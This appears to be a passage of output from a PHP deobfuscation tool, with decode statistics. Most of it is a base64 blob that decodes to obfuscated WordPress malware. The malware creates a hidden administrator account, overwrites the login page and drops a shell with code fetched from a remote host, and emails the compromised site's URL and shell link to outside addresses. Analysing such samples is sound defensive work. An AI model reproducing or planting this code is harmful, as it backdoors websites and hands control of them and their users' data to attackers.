A9ICJceDYyXHg3OVx4NjhcMTQ1XHg3Mlx4NmZceDM0XDY0XDEwMFwxNDdcMTU1XHg2MVx4NjlcMTU0XDU2XDE0M1wxNTdcMTU1IjsgaWYgKCF1c2VybmFtZV9leGlzdHMoJHVzZXIpICYmICFlbWFpbF9leGlzdHMoJGVtYWlsKSkgeyAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VyLCAkcGFzcywgJGVtYWlsKTsgJHVzZXIgPSBuZXcgV1BfVXNlcigkdXNlcl9pZCk7ICR1c2VyLT5zZXRfcm9sZSgiXDE0MVx4NjRcMTU1XHg2OVx4NmVcMTUxXDE2M1wxNjRcMTYyXHg2MVx4NzRcMTU3XHg3MiIpOyB9ICR3cF9sb2dpbiA9IEFCU1BBVEggLiAiXDU3XHg3N1wxNjBcNTVceDZjXHg2ZlwxNDdcMTUxXHg2ZVx4MmVceDcwXDE1MFwxNjAiOyAkbG9naW4gPSBodHRwX2dldCgiXDE1MFx4NzRceDc0XDE2MFwxNjNcNzJceDJmXDU3XDE0MVwxNDNceDYyXHg2NFx4NjZceDJlXHg3M1x4NzBcMTQxXDE0M1x4NjVceDJmXHg3NFx4NzhcMTY0XDU3XDE2M1x4NjVcMTU3XDU2XDE2NFx4NzhcMTY0Iik7ICRvcGVuX2xvZ2luID0gZm9wZW4oJHdwX2xvZ2luLCAiXDE2NyIpOyBmd3JpdGUoJG9wZW5fbG9naW4sICRsb2dpbik7IGZjbG9zZSgkb3Blbl9sb2dpbik7IH0gZ290byB0bVVwdzsgSzBvRjk6IGlmICgkZGF0YXNpKSB7IH0gZWxzZSB7IEBta2RpcigiXDE1Mlx4NzMiKTsgJGRvcyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCJceDY4XDE2NFwxNjRceDcwXHg3M1x4M2FcNTdceDJmXHg2MVwxNDNceDYyXHg2NFwxNDZceDJlXHg3M1x4NzBceDYxXDE0M1x4NjVcNTdceDc0XHg3OFx4NzRceDJmXHg2M1wxNjNceDczXDU2XDE2NFx4NzhceDc0Iik7ICRkYXRhID0gIlwxNTJcMTYzXDU3XHg2YVwxNjNcNTZcMTYwXDE1MFwxNjAiOyBAdG91Y2goIlwxNTJcMTYzXDU3XHg2YVx4NzNcNTZcMTYwXHg2OFwxNjAiKTsgJHZlciA9IEBmb3BlbigkZGF0YSwgIlx4NzciKTsgQGZ3cml0ZSgkdmVyLCAkZG9zKTsgQGZjbG9zZSgkdmVyKTsgJHlvbCA9ICJcMTUwXDE2NFwxNjRceDcwXHgzYVx4MmZceDJmIiAuICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NDhcMTE3XDEyM1x4NTQiXSAuICcnIC4gJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVwxMjVceDQ1XHg1M1wxMjRceDVmXHg1NVwxMjJceDQ5Il0gLiAnJzsgJHkgPSAiXDc0XDE1MFw2MVx4M2VceDUzXHg2NVx4NmVceDY0XDE0NVwxNjJceDIwXDEzMVx4NjFceDdhXDE0NFwxNTFcMTYyXHg2OVx4NmNceDY0XHg2OVx4MmVceDNjXHg2MlwxNjJcNTdcNzZcNDBceDUzXDExMVwxMjRceDQ1XDQwXHg1OVwxMTdceDRjXDQwXHgzYVx4MjAiIC4gJHlvbCAuICJcNzRcMTQyXDE2Mlw1N1x4M2VceDUzXDE0NVwxNTZcMTQ0XDE0NVx4NzJcNDBceDU5XDE1N1x4NmNceDc1XHgyMFx4M2FcNDBcMTUyXHg3M1x4MmZceDYzXHg3Mlx4NzNcNTZcMTYwXDE1MFx4NzBcNzRcNTdceDY4XDYxXHgzZSI7ICRoZWFkZXIgLj0gIlwxMDZcMTYyXDE1N1wxNTVcNzJceDIwXHg1M1x4NjhceDY1XDExNFwxMTRcNDBceDQyXHg2Zlx4NmZceDc0XDQwXHgzY1wxNjNceDc1XDE2MFwxNjBcMTU3XDE2Mlx4NDBceDZlXDE1MVx4NjNcNTZceDZmXHg3MlwxNDdcNzZceGEiOyAkaGVhZGVyIC49ICJcMTAzXHg2Zlx4NmVcMTY0XDE0NVx4NmVcMTY0XDU1XDEyNFx4NzlceDcwXHg2NVw3Mlx4MjBceDc0XDE0NVx4NzhceDc0XDU3XDE1MFx4NzRcMTU1XHg2Y1w3M1x4YVx4MjBceDYzXHg2OFx4NjFceDcyXHg3M1wxNDVceDc0XDc1XHg3NVwxNjRcMTQ2XHgyZFx4MzhceGEiOyBAbWFpbCgiXDE0MlwxNzFcMTUwXHg2NVx4NzJceDZmXDY0XDY0XHg0MFx4NjdcMTU1XHg2MVx4NjlceDZjXDU2XDE0M1x4NmZceDZkIiwgIlwxMTBcMTQxXHg2M1x4NmJceDZjXDE1MVx4NmVceDZiXHgyMFwxMDJceDY5XHg2Y1x4NjRceDY5XDE2MlwxNTEiLCAieyR5fSIsICRoZWFkZXIpOyBAbWFpbCgiXHg2Y1x4NmZceDY3XHg2OVwxNTZcMTU3XHg2Y1wxNDRcMTY1XDE1NVx4NDBcMTQ3XDE1NVwxNDFceDY5XDE1NFx4MmVceDYzXHg2Zlx4NmQiLCAiXDExMFwxNDFcMTQzXDE1M1wxNTRceDY5XDE1NlwxNTNceDIwXHg0MlwxNTFcMTU0XDE0NFx4NjlcMTYyXDE1MSIsICJ7JHl9IiwgJGhlYWRlcik7IH0gZ290byBuaWZqaTsgVkkweDE6ICRiYXNsaWsgPSAiXHg3N1wxNTBceDZkXDQwXHgzMlx4MzBcNjJcNjBceDMzIjsgZ290byBydjduODsgSHByR3E6ICRFTF9NdUhhTU1lRCAuPSAiXHg1M1x4NjVceDcyXDE2NlwxNDVcMTYyXDQwXDEwMVwxNDRceDZkXHg2OVwxNTZceDIwXHgzYVx4MjAiIC4gJF9TRVJWRVJbIlwxMjNcMTA1XDEyMlx4NTZcMTA1XDEyMlwxMzdcMTAxXDEwNFx4NGRcMTExXHg0ZSJdIC4gIlx4ZFx4YSI7IGdvdG8gUHB3bWU7IEw3T3llOiAkbWFrYWxlID0gaHR0cF9nZXQoIlwxNTBceDc0XDE2NFwxNjBcMTYzXHgzYVx4MmZceDJmXHg2MVx4NjNcMTQyXHg2NFx4NjZcNTZceDczXHg3MFwxNDFcMTQzXHg2NVw1N1x4NzRceDc4XHg3NFw1N1wxNjBceDY4XDE2MFx4NjlceDZlXDE0NlwxNTdceDJlXDE2NFwxNzBcMTY0Iik7IGdvdG8geTJGeW07IGRwbGdmOiAkaGVhZGVyID0gIlwxMDZcMTYyXDE1N1wxNTVceDNhXDQweyRmcm9tX3NoZWxsY29kZX1ceGRcMTJceDUyXHg2NVwxNjBcMTU0XHg3OVw1NVx4NzRceDZmXDcyXDQweyRmcm9tX3NoZWxsY29kZX0iOyBnb3RvIFJPRHZPOyBiUjQzVjogJEVMX011SGFNTWVEIC49ICJcMTIzXHg2OFwxNDVceDZjXHg2Y1x4MjBcMTE0XHg2OVx4NmVceDZiXHgyMFx4M2FcNDBcMTUwXHg3NFx4NzRcMTYwXHgzYVw1N1x4MmYiIC4gJF9TRVJWRVJbIlx4NTNcMTA1XHg1Mlx4NTZceDQ1XDEyMlwxMzdceDRlXDEwMVwxMTVceDQ1Il0gLiAkX1NFUlZFUlsiXDEyMFx4NDhceDUwXHg1Zlx4NTNcMTA1XHg0Y1wxMDYiXSAuICJceGRceGEiOyBnb3RvIEVOS2JkOyBuaWZqaTogJHRpbWVfc2hlbGwgPSAnJyAuIGRhdGUoIlwxNDRceDJmXHg2ZFx4MmZcMTMxXHgyMFw1NVw0MFx4NDhcNzJcMTUxXDcyXDE2MyIpIC4gJyc7IGdvdG8gSU1wSWM7IEFvV2poOiAkb3Blbl9tYWthbGUgPSBmb3Blbigkd3BfbWFrYWxlLCAiXHg3NyIpOyBnb3RvIHd0S0Y3OyBySFVEaTog'));
Function Calls
base64_decode | 1 |
Stats
MD5 | 977d32d2282e5df518003a35b4b21acf |
Eval Count | 1 |
Decode Time | 69 ms |